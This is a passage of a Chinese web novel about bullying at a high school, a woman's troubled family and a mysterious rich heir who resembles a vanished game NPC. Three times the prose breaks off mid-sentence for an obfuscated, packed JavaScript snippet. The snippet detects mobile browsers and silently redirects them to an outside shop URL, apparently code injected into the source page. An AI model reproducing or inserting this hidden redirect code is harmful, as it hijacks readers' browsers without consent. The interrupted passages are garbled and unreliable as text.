李轩玉翘着二郎腿,笔杆猛地敲桌子:“行了你们几个,无不无聊,快点给我两张假期卷子抄抄。” 不知道是不是错觉,总觉得李轩玉有在暗地里帮助陈岁安。 好巧不巧,午间休息接水的路上也碰见了她俩走在前头。 李轩玉语气不悦:“你有病吧,还是真喜欢上从云舒了?这么正义地挺身而出。” “我没有!但他真的太可怜了,我妈妈说,他妈妈前段时间因为老人生病去工厂里做工,被机器还割伤了手,鲜血淋漓的。” “我就是不懂,他也没做错什么呀,就是声音细了点长得像女孩子了点,至于吗?” 李轩玉不为所动地接水:“潘刑不喜欢他就够了,当心他下次连你也揍。” “我妈会告老师。” “你也和小学生似的。”李轩玉冷笑,心底总是看不起她,胆小又莽撞,也就凭拥有个溺爱孩子的爹妈,要不是两人勉强算作朋友,她才懒得管,“老头就是个混吃混喝拿工资等退休的,你指望他?” “嗯……”陈岁安嘟囔了几句听不太清,她又话锋一转,“对了,我爸爸出差带回来了饼干,又酥又甜,感觉你会喜欢。” “等会儿放我桌上吧。”李轩玉拿她有种一拳打在棉花上的感觉,不由烦躁,“快点接完水回教室了,不过我好意再劝你一次,离从云舒远点,他是可怜,但你也没必要惹火上身,你看人家韩思多聪明,同样不招人喜欢你就不能安静点儿吗。” 李轩玉的衣角被扯了扯,回头正好看见面露尴尬的韩思。 陈岁安倒主动打了声招呼:“你也来接水啊。” “嗯。” 回去的走廊上,看见从云舒低垂着脑袋在挨骂。 班主任手上厚重的教参挥得哐哐作响:“你怎么回事?!连抱叠试卷回班级这点小事都做不好!” 洒落一地的试卷,大多洇湿透了,大块的脏痕。 班主任身后的几个男生笑得很鸡贼,故意前仰后合,又做出搞怪的不雅动作来。 从云舒不甘地解释,又急又气:“被他们几个推的。” “怎么就推你不推别人?你自己不好好看路还要怪别人身上去?!” 从云舒还想辩解,就被劈头盖脸地打断,班主任气不打一处来,“你不要解释了,快点收拾,真是什么样的人能生什么样的孩子。” 刚刚成年的少男少女们尚未完全褪去青涩,又着急忙慌地遵守起社会法则,居高临下的快意是最具吸引力的毒药,阳光正好打落在走廊过道,他们来来往往嬉笑怒骂,凌乱的脚印出现在地上。 从云舒蹲下身捡试卷,又被人故意踢了脚。 愤怒抬头,那男生翘起兰花指,阴阳道:“哎呀,不好意思推到你了。” 班主任那老头法令纹又皱褶起来,并非惩恶扬善,而是:“这地面怎么这么脏?从云舒你捡完试卷把走廊地面也拖了。” 上午下过一阵雨夹雪,带着雨水的鞋,踩上室内地面最容易脏。 这会儿临近放学了,雨夹雪又纷纷扬扬起来,似成群的飞蛾从云端跌落地面。 大概是李轩玉的“劝说”发挥作用了,陈岁安这次没有挺身而出,她没忍住多看了从云舒几眼,就从他身边匆匆走过。 韩思跟在她们两的后面,也与蹲在地面捡试卷的从云舒擦肩而过。 班主任走远了,那些个男生变本加厉,推搡着在几张试卷踩几脚,又装作不经意地在混乱里专挑从云舒的袖口衣摆踩去,一脚又一脚。 距离寒假只有短短二十天,距离高考只有五个月。 李轩玉说得没错,韩思那么‘聪明’的人,做法就是龟缩在一旁跟着置若罔闻。 潘刑没找她麻烦的日子,她都谢天谢地了,遑论主动和他们敌对引火上身呢。 后来直到寒假前的二十来天里,学校生活一如往常枯燥地过着,体育课从原本的一周三节改为了一周仅一节,高三学生早晚跑操拥有赦免权,所有时间都挤出来为高考让路,说不定多背一个单词,就能过五关斩六将。 紧张紧扣每一个普通学生的心弦,包括韩思。 她非天赋型选手,成绩不是稳操胜券的,每次周周考考得麻木,但最后出分还是会提心吊胆一阵。 四中虽然差,优秀的学生却也不少,她数学又差,数学大题多,批卷老师懒得一步一步扣分,一扣就是十分起扣,偶尔也会跌出学校排名的前十。 按道理每次成绩都会发家长手机上,不过幸好她母亲忙弟弟的事儿忙得焦头烂额,也就只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056166|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偶尔打电话来骂几句,嗯嗯啊啊地应付过去也算安生。 学期末又是九校大联考,考前拉着零零零做了很久的题,虽然在学校里做题老做得烦躁写不进去,但有零零零陪着却意外事半功倍,只可怜少年倒先一步看题看得两眼昏花了。 零零零唉声叹气地抽走英语卷子打算换换口味,韩思顺带惊讶地发现他英语也很好,尤其是口语流畅,估计融合了相当多的翻译软件,简直是完美的陪学搭子。 她自然不肯放过这机会,又扯着他练了半个多小时的口语,然而最后还是她自己率先败下阵来,原因无他,看着零零零说话说太久容易脸红。 “还是早点休息吧。” 零零零疲累:“你可总算要休息了,咱俩到底谁是人机?” 韩思心虚目移,她只是想多和他待一会儿而已。 “我本来还有个好消息想和你说,现在看看……” “爱说不说。”见零零零故意卖关子,韩思撇撇嘴,她收拾起一箩筐乱糟糟的试卷,一张张按照需要整理错题、还没做过的,已经做完的分类。 零零零想着反正自己也拿捏不准消息真假,便顺着说道:“既然你都这么说了,那我当然顺你心意,早的话你高考前,晚的话你高考完的第一天。” “有你这么卖关子的吗?隔这么久还不如不和我说。” “你就期待着吧。”零零零看她穿着仓鼠印花睡衣整理,也帮不上忙,索性虚影坐在她的床上,今天这床铺还是没铺,软乎乎的窝看上去很好躺,想着想着就仰身躺倒下去。 当然没感受到软乎乎,对他来说是是硬邦邦的地面。 却与整理完桌面回头的韩思四目相对。 韩思沉默,她开始思考自己是不是和零零零关系太熟了,还是游戏NPC设定有问题。 怎么连女孩子的床都躺啊??? 零零零漂亮的琥珀眼眸眨又眨,毫无羞耻心地往边上挪了点儿,腾出个人躺下的空,又拍拍边上。 “躺不躺?” 韩思忍无可忍:“这是我的床。” “嗯?不能躺吗?我这三天陪你做了三百七十五道题。” 这话说得太坦诚太无赖,拒绝吧就好像她又小气又问心有愧似的。 她才不能给他看出来,她对他有一丁点的喜欢。 抱着这样的心态躺下,末了又忽然感觉哪里不对,但没来得及细究,身边就传来懒洋洋的声音。 “还被人欺负吗?” “什么?”韩思侧目而视,掩盖下惊涛骇浪的情绪,大概是话题巧合吧,她装作不在意般,“我不是一直都被你欺负吗。” 零零零的眼窝深睫毛长,眸子透亮得像是湖泊,再过去是鼻梁高挺,他也转头,薄唇没有笑,嘴角平直:“一本正经的。” 刹那无言。 “你什么时候知道的。” “还有吗?” 韩思回答轻轻的:“我只有讨厌的人,没有恨的人,再过五个月高考结束,我会连讨厌的人都不再见到。” 边上的少年转过头又勾起唇角,温柔轻快:“那就好。” “你也是。”韩思的声音闷闷的,“不要因为恨一个人而面目全非。” “我也是。” 漫长的雨夹雪没有停,砸在外头的铁质物品上,叮叮当当。 不难猜,零零零大概是会路遇不平拔刀相助见义勇为的性格。 她忽然想问问他怎么看待自己,一个在学校里不敢反抗的胆小鬼,对别人受欺负也置若罔闻的自私鬼。 “你觉得……” 仅说出口了三个字,后面跟着的问题愣是在口腔里转了好几圈,也不知怎么开口。 会被看不起吧。 “算了。”她说。 39. 飞蛾(7) 其实零零零才不会看不起她。 是她看不起她自己,一个卑鄙的胆小鬼。 太阳照常升起,几百几千个早晨皆如一日。 刚从床上起来的时候还迷迷瞪瞪的,听说梦里频繁梦见某个人,是因为他在现实里渐渐远去。 来不及悲春伤秋,韩思依稀记得昨晚情绪上头,还预约了个某平南路600号的精神病挂号,她赶忙抓起床头的手机,心理医生的价格不菲,可得赶紧取消。 屏幕亮起,有两条来自未知联系人的短信。 “你什么时候有空?再陪我聊会儿吧。” “他是你男朋友吗?” 没头没尾的,要么是发错,要么是诈骗。显然后者的概率还大些。 索性放在一边不管,再看时间不过是早上六点半,难怪还很困倦,踌躇了下,决定还是睡个回笼觉。 刚躺下酝酿了五分钟睡意,一个电话猛然打过来,手机默认铃声响彻小小的出租屋。 天杀的,难得周日早上可以睡懒觉。 看清来电人名,韩思怒火也没地儿宣泄,焉焉地接起:“喂。” “喂喂?你昨儿相亲怎么样?怎么不向我汇报下?有这么忙吗?打个电话的功夫也没有?真是养了头白眼狼。” 不怎么样。但又精疲力尽不想再吵架,遂避重就轻地答道:“昨晚结束得太晚,不想打扰你。” “他可是你以前的高中同学,你比别的姑娘都有优势,好好把握拿下他知道没?” “你知道他是我高中同学啊。”还以为只是巧合撞上,原来妈妈心知肚明啊,故意不事先挑明是怕她拒绝吗? “怎么的?高中同学你就不去了?妈知道你高中的同学对你做过不好的事情,那不是小时候不懂事吗?他现在老好一人了,能和他结婚你就偷着乐吧。” “都被你绕进去了!他不是没欺负过你吗?你又神经兮兮的做什么?” 韩思没有多说话,握住手机的指尖因微微用力而泛白,心里的酸楚又拧起来,一点一点蔓延,直到四肢百骸都冷却。 语调冷静到冷淡:“嗯,没事。” “这两天趁热打铁多打电话,你不是做饭好吃吗?去他公司给他带点饭,最好再约出去几次听到没?他下周就要回去了,我说这么多你听见了没?!” “嗯。” “局促小气的脾气也不知道像谁。还有你这边近期有好工作吗?看看有没有机会给你弟弟安排个,你弟弟失业一年了都不知道帮衬下,一点都不懂事。” “S市房租贵。” “让他和你住不就行了吗?喂喂?” “有电话打进来了。”韩思轻声借谎言挂断电话。又不是第一次知道她是那样的人,还那么难过是为什么呢。 这下是真睡不着了。 今天又是该死的公司团建,本来她生病的借口都找好了,但又听说天星集团总部董事长的儿子也会在晚上到现场,拒绝的话犹豫片刻,她最后说她请假半天,晚上来。 其实她来如今单位不仅是因为工资待遇优渥,最根本原因是面试会上神仙打架,她被天星总部拒绝了,而这家单位则作为天星旗下之一,也算和天星有些关联。 也许能借此机会,调查当年昙花一现的《仙缘》,如此堪称断时代的NPC技术至今都是业内未解谜团。 她想实现小小的私心,再见那少年一面,把未来得及说完的话说完。 鬼知道真进来后天天被逼加班,和天星总部也完全没有业务外的联系,压根儿都没多少时间和能力调查。 她甚至和大多数人一样,都不知道这位横空出世的董事长儿子中文姓甚名谁,他一直惯用英文名,就连照片都极少,要么是背影,要么小到看不清。 据传言他也是二十来岁,年纪轻轻管理旗下好几家海外子公司运作都得心应手,此次回国历练,准备接手这个巨无霸集团。 而她在破落的出租屋里发愁高昂的租金,还有被逼迫赶紧回老家结婚的压力。 这就是世界的参差啊。 下午四点多拿着垃圾下楼准备出门,正好看见住在隔壁的胖胖阿姨回来了,手里提着个满满当当一塑料袋的吃的,一串硕果累累的葡萄铺在最上面,真怕动作一大就掉出来。 陈岁安亲昵地挽着她妈妈的手,脚步轻快。 不知道她们在聊些什么,两人脸上同时在笑,很久没看到这对遭遇苦难的平凡母女能露出发自心底的笑容了。 想必这次复查的结果不错。 看见韩思迎面走来,她们先后打了声招呼,陈母想着两人难得一见,刚想介绍:“哎这是我女儿,她叫陈岁安,虽然就住隔壁却没碰过面;这姑娘是韩思……” “我和韩思认识,她也是A省四中的。”陈岁安率先打断,见陈母惊讶地来回张望,她又推推陈母的后背,“妈你先上楼烧菜吧,爸今晚也回来的。” 陈母顺应女儿,连声答应说好,没多说就上楼了。 陈岁安见母亲的身影走上楼道,侧脸转回来看着韩思:“今天复查很顺利,谢谢你。” 果然很顺利。 也许是愉悦的气氛会传递,韩思也跟着笑了下:“我又没做什么。” “作为朋友,虽然可能在你眼里我不是个合格的朋友,我还是想劝你要不再考虑下分手的事情。” 陈岁安突然聊起这个,韩思大脑都宕机了一瞬:“你说这个干嘛。” “后来陶珏因为李轩玉的事情加过我,高考结束后他给我发了几张截图,想问问你和你朋友到底怎么回事。” “但高考结束后大家都联系不上你,再后来就是我从妈妈嘴里知道你和你朋友在一起了,我也渐渐忘记那件事,前几天听我妈又说你俩异地分手了我才想起来。” 韩思眨眨眼:“那你有空了发我?” “你不生气就好,等我回家翻翻看旧手机,我还是觉得当事人知道下会比较好吧,说不定我就促成一桩良缘呢。”陈岁安舒口气,她消瘦了很多,却还是和高中一样,热心肠喜欢各种帮忙。 “我妈说人在做天在看,多做点善事多积点德,日子就会顺顺利利的。” “我总在想当时要是我帮帮从云舒,也许结果也会不一样吧,但我妈妈又劝我说,人各有各自的命数,挡不住的。” 提及长久未有人谈起的名字,韩思的心也跟着坠了下。 陈岁安打起精神,摆摆手:“好啦!不打扰你出门了,我也要回家啦。” 告别她踏上晚间的地铁,韩思没来由地想叹口气,还真羡慕那样和睦有爱的家庭,她又强迫自己打起精神,至少从陈岁安身上,能看见有好事在发生。 人活在世上总是需要希望的,就算称之为骡子眼前的胡萝卜也好,但只要期待着有一天奇迹会发生,哪怕前头再有磨难,也会有勇气砥砺前行。 韩思摸出手机,这次坚定地向她妈发送了关于“和赵永康相亲已经失败”的消息,虽然能料想到那个女人在收到消息后的暴跳如雷。 索性把手机音量也调至静音。 公司年轻人多,团建也选在轰趴馆,估摸领导都没来,进门就是炸裂耳膜的摇滚音乐,一帮男人在k歌,到茶歇室才安静点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068350|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩思随手挑了块小蛋糕。 听隔壁组的小姑娘聚在边上聊,面色扫兴:“我还精心准备了两小时,万一他看我好看给我涨点工资呢。” “这不挺好,太子爷不来臭屁的领导也一个都没来,爽死了。” “那太子爷怎么说来就不来了,真不愧是太子爷脾气,还想看看他长啥样呢。” “我知道我知道。”徐莨兴致勃勃地举起饮料,插嘴道,“听分部消息是超级大帅哥,混血款,鼻子高得能戳死人。” “诶?听说鼻子越高越……” “我也听说,这事儿准不准啊,你谈得多你说说?” 几人越说越来劲,头低在一块儿。 那人没来啊,领导也都一个没来,那她好像也没啥必要留下来了。 韩思本想吃完蛋糕,趁没人发现偷偷溜回去,却不料徐莨忽然的一个抬头发现了她:“韩姐?” “啊。”韩思赶紧咀嚼几下咽下蛋糕,偷溜的计划宣告破产。 “你终于来了,还以为你不来呢。”徐莨一连串的问题抛出:“你相亲怎么样?那男方帅不帅?几块腹肌?合不合心意?” “什么,韩姐相亲去了?” “什么,竟然有人能入韩姐法眼?是何种男妖精?给我看看照片。” “那位之前小帅有钱的小吴都没成功,连约会邀请都被礼貌回绝,这次能和韩姐相亲的绝对是个猛人。” “越说越扯了。”韩思拿了个纸杯接水,揶揄道,“是被我家人逼着去的而已。” “啊!韩姐这么优秀还会被逼去相亲,我妈上次让我去我当场和她翻脸了,都给我介绍的啥呀都。” “谈婚论嫁,果然这是女生都会面临的烦恼。” “所以成了没啊?” 这几人七嘴八舌的,韩思终于找到空档回答:“没成,可能我性冷淡吧,完全不心动。” 徐莨如是感慨:“现在找个心动男嘉宾比中一千万还困难。” 说完就被边上的人猛碰胳膊肘:‘说什么呢你,你和你男朋友一天天的腻歪死了,你最没资格说这话了。’ 徐莨不甘示弱地碰回去:“我和陈渝亮也没达到soulmate啦,而且他最近堕落了,腹肌都变小了几乎看不见。” 韩思也跟着故意调侃:“那换一个?” 徐莨摇头,“不行不行,我有道德,还是让他练练吧。” 话音未落,她手机忽然响起接连的消息提示音。 “我们才说两句,怎么你老公来信息啦?” 徐莨嚷嚷:“我和阿渝还没结婚呢,你们几个。”她点开消息,忽然表情收敛,面色严肃。 众人还以为她在搞怪,又接二连三打趣,“咋了?你男朋友说要结婚了?”“不会吧不会吧,真要结婚啦?” 虽然这公司每天忙成狗,但不得不说氛围还挺好的,尤其是之前待过的B组,每天叽叽喳喳热闹得很,不是八卦就是点奶茶,曾经那一年多,简直是奔着日胖十斤去。 韩思端着杯柠檬水,找了处沙发空位坐下,刚想跟着调笑徐莨两句,就见徐莨神情特严肃地递过来手机:“韩思你看这个!” 是一串已经点开的聊天记录,说话人的头像还是个氛围感帅哥。 【你们单位这女的,恶不恶心?】 【说要和我相亲,结果我掏心掏肺,买完单还给她买了花,她转头就上了别的男人的车?】 【把我当ATM了啊?】 【听说是你们单位的,你认识不?】 配图是那场暴雨,路灯下,她收伞拉开黑车车门。 40. 飞蛾(8) 不难猜,拍摄者是赵永康,发这些东西的人也是赵永康。 他怎么连这种事都做得出,和高中几乎没有变化的令人作呕。 一阵阴寒的恶心感上涌,如此熟悉的造谣手段犹如噩梦阴影再次缠上,韩思拧紧眉头,徐莨的手机被捏紧在手里。 她开始头脑风暴该怎么解释清楚,她和车上的人分明就毫无关系,但又怎么解释她上了他的车呢。 徐莨却先一步愤愤不平道:“这男的不会就是那个相亲对象吧?” 见韩思点头,徐莨接过手机,下扯嘴角,嫌弃之情溢于言表:“恕我直言你妈什么品味啊,这种人都能约着相亲,幸好我男朋友发给我看了,我叫阿渝把她删了,不能什么人都加。” 韩思附和:“是啊。” 原来被造谣都不需要剖心解释。 高中时让人溺毙的千斤重海水,此刻蒸发得无影无踪。 轻舟已过万重山。 边上那三个女生也想吃瓜的模样,徐莨看眼韩思,韩思点点头,她便把手机传出去。 看完她们也跟着义愤填膺:“造谣我们韩姐?” “就上了个车而已,又不是上了他。” “请客吃饭也就多少钱还要放出来说,死抠门。” 韩思也扯扯嘴角:“我和他AA的,花钱也转给他了。” 她本来还觉得赵永康也许改过自新了,原来只是曾经的霸凌者掌握了如何掩藏自己的恶意,更聪明地在暗中使坏。 徐莨从边上女生手里拿回手机,又一屁股贴着韩思坐,双指放大屏幕:“等会等会儿韩姐,这车是兰博基尼URUS吧,落地三百万,你莫不是隐藏的有钱人?” 另一个女生起哄:“还有驾驶座上的这个人,好帅。” 韩思揉揉太阳穴:“……这像素都看不清,还带着墨镜,哪里能看出来他帅?” “你果然认识他!”徐莨兴致勃勃地从沙发里爬起来,“肯定老有钱了吧,要谈至少谈个有钱帅哥吧,真的没可能吗?” “同样是发财,和他谈还没有把他车偷了卖掉概率大点。” 韩思无所谓的耸耸肩,先不说那人长得太像死去的零零零就已经无法下手了,那种嚣张跋扈的大款背景就和她是两类人,短暂交谈就能知道,他有着比起零零零,更加张扬强势的性格。 身前的餐盘清空,边上的三个女生决定起身一起去拿饼干,沙发位置空了不少。 徐莨扫兴而归,摊倒在沙发里,刷刷手机面色又蓦地变了:“韩姐,你那个相亲对象好贱啊,你是做什么惹到他了吗?他怎么还吧这段聊天记录发大群里去?” 大群? 韩思面色渐白,有种不安的预感:“哪个大群。” “一个老板领导都在的工作群。”徐莨语气凝重,在沙发上坐直,“总部那位少爷前几天也刚加进来,他怎么找到途径混进来发的。” 徐莨大概是没遇到过这种死缠烂打的恶人,她无不困惑:“你不会真把他上了吧?” 幸亏有徐莨的玩笑活跃气氛,韩思紧绷的大脑神经得以少许放松,“怎么可能,他应该就是想看我出事。” 徐莨拍拍他肩膀,劝慰道:“没事,反正我们几个都会站在你这边替你说话的,犯不着为这种贱人生气。” 韩思‘嗯’了声。 此刻比起生气更多的是焦急,工作群里的消息也没法撤回,和她相熟的人自然会站在她这一边。 但被公司领导看见就前路未卜了,尤其是那位新上任的集团总部大少爷,也就是董事长儿子,行为作风严厉非常。 对于这种有可能毁坏公司形象的普通小职员,会怎么处理呢。 虽然有徐莨劝慰,但她也不由得想到最坏后果。 半个多小时后,韩思起身在直属领导面前端茶倒水刷脸,表示自己到场过了,没等到团建结束,就找个空档溜回家。 原因无他,她拿起手机删赵永康的时候,也看见了十来个来自母亲的电话轰炸,虽然一个都没接着,但看了令人心冷。 她甚至都不敢打回去。 虽然比较奇怪的是,还有来自某未知号码的未接来电,连上午故意没接的几个一并算进去,林林总总加起来有九个。 这人真是孜孜不倦啊,从上午那个发错的短信开始,整整一天了都没放弃。 韩思于心不忍地回了条【你打错了。】 对面秒回:【没有打错。】 韩思:【你真的打错了,我不认识你。】 对面没回音了,估计是对手机号码去了。 然而刚下地铁,那串电话号码再度在屏幕上亮起。 这人怎么就那么犟呢,都说打错了,不和他亲口说他不死心吗? 韩思接起电话就开门见山:“喂,你真的打错了,我不认识你。” “大概吧。” “嗯?” 对面这人真的是正常人吗?感觉他在yes和no里选择了or。 过于奇怪的回答,让她都下意识忽略了对面那人的嗓音,隐约有些耳熟。 “你叫韩思,毕业于S市xx大学,住址是xx路xx弄xx号401室,祖籍S市,但在A省xx四中有过一段求学经历……” 这堪称如数家珍的一一报出,摆明了他对她了如指掌。 韩思心中一凛,心道自己就一个贫穷在S市打工人,除赵永康算一个,也没得罪过谁,犯得着请人如此调查自己吗? 赵永康也拿不到如此细节的身份信息吧。 莫非是远在天边的A省高中同学,想要报仇雪恨…… 对面轻笑着说:“这样算认识你吗?” 韩思还算镇定:“只知道信息怎么算认识。” 她琢磨着先不打草惊蛇,不远处有家24h营业的便利店,当务之急是借个手机报警。 “你是不是想报警,或者干脆在去报警的路上。”他忽然语调松弛。 被猜中了。 韩思手心都沁出冷汗,下意识反驳:“怎么可能……” 对面却低低地笑了下,像是听见什么有趣的事,“韩思小姐,这是我合法拿到的信息,你之前向天星投过简历,忘了吗。” 那都是多久之前的事了。韩思语塞片刻后还是觉得不对劲:“就算你是天星HR,现在来找我做什么。” “陪我聊会儿天,说说关于你和某个人的故事。如果筹码还不够的话。”说到这里他思忖片刻,再度响起的语调意味不明,“《仙缘》整条项目线都要砍了,我想办法让它继续运作下去,以此为交换,够吗。” “某个人是谁?” 对面回复得很快:“你会知道的。” 真的是很奇怪的人,提出了很奇怪的要求,而她又不得不再三认真考量。 虽然不知道对面什么用意,但她也做好了看形势不对就报警的觉悟,小心地反问道:“……只是聊天?” 那人调侃:“只是聊天,莫不是你还想做什么?” 韩思没回复,她当然不想也不可能做什么。 犹豫的时间里,视线落在便利店外围,尚且八点多的时间,还有些散客偶尔走进去,机械电子音一遍一遍地喊着“欢迎光临”,温暖的灯光微微有些晃眼,散出重叠的虚影。 原来六年一晃而过,《仙缘》关停,她也该割舍掉,大步向前走了。 就从今晚不上线开始吧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093523|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她说:“好。” “那你抬头。”话音刚落,就听手机对面尾音微扬,隐约透着笑意,“我就在便利店的门口,这都看不见吗?” 韩思惊觉抬头,见一人从阴影里走出来。 他拉下兜帽,蓬松柔软的短发在晚风里飘扬,身形颀长,这次的外套是海蓝色冲锋衣,戴着墨镜,却能感受到墨镜底下无声的揶揄。 “反侦察意识很差啊。” 变成有声揶揄了。 韩思瞥他一眼:“我要这本领做什么。” “你不是在背地里调查我吗?虽然看上去毫无成果。” 完全被看穿,他是怎么发现的。韩思还算冷静:“也不算毫无成果……你是林参,对吧。” 总算换他惊讶了,那人眉毛微挑示意她继续说。 韩思绞尽脑汁:“很久之前撒谎说你是我的小学同学是我不对。” 只要他的反应是沉默或不屑,就能很好论证他就是林参。 然而那人却更惊讶了:“有这回事儿?” “……” 虽然也是间接承认的一种反应,但又莫名感觉他和记忆里高高在上的林参不太一样。 想当初自己还因为林参太像零零零,而和零零零进行了长达……貌似不足6小时的冷战。 只怪零零零烟花放太迅速,她心软也太快。 林参微微侧过脸,挺拔的鼻梁像是小山峰。 他视线隔着墨镜落在她眼睛里,她匆忙别开脸。 林参收回视线:“上次车上的问题你还没解答呢,你是不是认识一个和我很像的人。” 虽然心里还是闪过难受,但一回生二回熟,韩思这次毫不犹豫地点头。 “因为他长得和你很像,所以我忍不住就搜了搜你那辆车的车牌,又搜了搜你是谁,除了车型和车牌很贵外,基本没搜到任何有用的信息。” 她索性和盘托出:“至于猜你是林参,也只是因为我之前和林参有过一面之缘,仅此而已。” 林参问道:“他和你是朋友?” “嗯。” “普通朋友?” “……嗯。” “上次和你一起在餐厅吃饭一起散步回家的,也是普通朋友?” 韩思对赵永康厌恶至极,虽然觉得林参这问题问得还挺古怪,但她还是飞快回答:“不是,是一个很讨厌的人。” “有多讨厌?” “非常讨厌,不想再见一眼的程度。” “那我呢?”林参问上瘾了似的,“不能是你很讨厌的人吧?” “……” “不应该啊,我都没做什么,还好心在暴雨里送你回家。” 好心是好心,只是不一定完全好心,又办了坏事,以至于她被造谣的聊天记录还挂在工作群里,不知道明天该怎么面对。 提起这桩事她就疲惫。 “……这些很重要吗?”韩思诚恳建议,“我想早点聊完回家,明天还要上班。” 照他那鸡零狗碎的问法,到十二点都不一定问得完。 “好啊,那说说那个和我很像的人吧,他后来是和你分开了吧?” 看她神色低落,林参贴心地补充:“不想说这个的话,说点无关痛痒的小事也可以。” 韩思脚步慢下来,这条路的路灯不知什么时候都修好了,灯光明亮飞蛾群舞。 虽然是自己主动提出的直入正题,但直面这问题,她还是有些踌躇。 她还从来没有在其他人面前主动谈起过零零零,除了001那个标准人工智能。 泛黄的记忆总盘旋在脑海怎么都忘不掉,可即将说出口时却惶然,不知从何处聊起呢。 41. 扑火(1) 高三生几乎没有寒假,这是不约而同的共识。 春节刚过,春寒仍料峭,每天从温暖的被窝里起床都需要做会儿心理准备,然而高三下学期早早开学,能赖床的日子不过短短十天,一晃而过。 刚开学就发现往常新学期新气象的标语黑板报之类,在高三下学期也统统没有了,做题想考好大学的,一如既往的刷题批改刷题批改,一尘不变的死气沉沉。 也有些人索性破罐破摔在课上呼呼睡觉,或者干脆辍学懒得来学校,反正人生有人兜底。 唯一算得上有趣的新鲜八卦,就是听说沈老师上学期期末丢失的高定项链似乎有了点眉目,怀疑是被人偷拿了。 也有流传说是学生偷的,更有甚者传言说那是沈老师情夫送的项链,正牌老公撞破后恼羞成怒给扔了,编得像模像样,当天中午就被请进校长室,又嘻嘻哈哈地从校长室里出来。 眼看流言愈演愈烈,作为当事人的沈老师也气不打一出来,但那几个刻意传流言蜚语侮辱人的,偏偏又是学校里的刺头,退学也不能让他们退,没人治得了。 故沈老师这段日子每天来上课都愁眉苦脸的,一些属于年轻老师特有的清澈和宽容在渐渐消失。 这天周五,语文课临近下课时分,她把厚厚一沓资料拍在讲台上,嘭一声,睡着的几个人都瞬间惊醒,茫然抬望四周。 沈老师面容严肃地扫视台下一周,道:“我丢的项链很贵。” “作为学生,你们的前途也很贵,然而最珍贵的是一个人的品行道德,我真诚期望你们的道德能够一直珍贵,而不是为了点眼前利益就可以舍弃掉它。” “无论是偷盗还是恶意传我的谣言,记住逃避没有用,善恶到头终有报。” 说完过了片刻,看似严厉威胁的话语却兴不起一丝波澜,台下仍旧置若罔闻,睡觉的睡觉,喝水的喝水。 最后的五分钟过去,下课铃打响,她失望至极地抱着资料蹬着高跟鞋出门。 几个学生从椅子上起身伸懒腰,毫不在意地闲唠:“沈老师最近好凶啊。” “换你你不凶,听说那项链一万多块呢。” “不会真有人蠢到偷项链吧,那可要坐牢。” “怎么可能,还是想想拿项链不会真是情夫送的吧,毕竟沈老师年轻貌美哈哈哈。” 陈岁安的声音弱弱响起:“哎你们不觉得吗?听沈老师这语气,估计是真有人偷了,罪犯估计还在我们班。” 热切的讨论瞬间安静。 许多道视线不约而同地匆匆扫过后排,不着痕迹地在某些空座位上流淌而过,几乎是心照不宣。 陈岁安也意识到自己好像说错话了,整个人滞在那里。 李轩玉赶紧刹住话题:“不聊这个了,反正是沈老师的项链,找不找到的管我屁事。” 李轩玉的小跟班们又跟着窸窸窣窣起来:“最近你们发现没?娘娘腔读书读得好认真啊,上次还见他像条狗一样拿卷子去办公室问问题,老班那个壁灯哪里肯理他呀。” “是不是她妈没客户了没钱了?哈哈哈哈。” 在意识到有可能是潘刑那几个人做出的事情后,看热闹的兴奋偃旗息鼓,话题转移,照例回到班级底层的身上。 韩思写文言文的笔尖微顿,她偏头,余光看了眼从云舒,蜷曲的脊背紧贴墙面,孤僻得像是要融进灰墙里去。 他桌前就是明窗,暖阳刺破云霄,光芒如耀。 距离高考还有五个月。 也许是离冬至也就过去了不到两月,太阳还在南半球徘徊的缘故,韩思刚从食堂里吃过晚饭出来,天色就已经是昏昏沉沉的,唯有零星的晚霞还残留在天边。 照例向学校的北门走去,却听见身后有人在叫自己的名字,回过头看,是刚和她那几个‘朋友’吃过饭分开的陈岁安。 她哒哒哒跑过来,眼里是期待:“我今天也要去北门坐车,一起走吗?” 盛情难却,韩思点头。 “你说那偷东西的人会不会被抓。” 韩思认真思忖:“会吧,如果沈老师报案了的话,偷窃一万多元的贵重物品足以立案了,就是不知道潘刑的家里人能不能把他捞出来。” “你也觉得是潘刑吧,我也觉得是,他前科太多了,要不是他偷的才奇怪呢。” 一路上有一搭没一搭地聊着,临近南大门时,韩思倏然脚步停顿。 陈岁安目光跟着看向门卫室,皱起的眉头迅速松开,语调愉快:“你不认识吧,那个老人是从云舒的爷爷,之前一直传闻说重病的。” 韩思微微讶然:“看上去已经痊愈了吧。” 